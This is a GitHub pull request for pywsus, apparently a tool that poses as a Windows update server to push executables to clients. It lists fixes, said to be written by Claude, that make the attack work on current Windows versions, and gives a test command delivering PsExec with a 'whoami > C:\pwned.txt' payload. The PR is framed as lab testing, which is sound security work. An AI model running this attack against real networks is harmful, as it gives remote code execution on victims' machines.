fix: restore compatibility with modern Windows Update clients#18
Open
5tuk0v wants to merge 1 commit intoGoSecure:masterfrom
Open
fix: restore compatibility with modern Windows Update clients#185tuk0v wants to merge 1 commit intoGoSecure:masterfrom
5tuk0v wants to merge 1 commit intoGoSecure:masterfrom
Conversation
- Remove hardcoded Prerequisites category UUID (0fa1201d) from sync-updates.xml — modern WU clients no longer satisfy this category, causing updates to be silently marked non-applicable - Populate <Properties> in get-config.xml with required protocol negotiation fields (ProtocolVersion, MaxExtendedUpdatesPerRequest, IsInventoryRequired, ClientReportingLevel) — absence causes 0x8024402a on current WU client versions - Catch ConnectionResetError/BrokenPipeError on EXE send in do_GET — suppresses noisy traceback from BITS range-request probe - Bump lxml to >=4.9.2 to fix build failure on Python 3.11+ Tested on: Windows 10 22H2, Windows 11 24H2, Windows Server 2019, Windows Server 2022
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Hey there, a fellow hacker got me curious about #17 and I took a look at it in the lab for fun. The tool seems to be working consistently on various OS versions after applying these fixes (written by our friend Claude):
Tested successfully on: Windows 10 22H2, Windows 11 24H2, Windows Server 2019, Windows Server 2022
Payload used during testing:
python3 ./pywsus.py -H IP_ADDR -p 8530 -e PsExec64.exe -c '/accepteula /s cmd.exe /c "whoami > C:\pwned.txt"'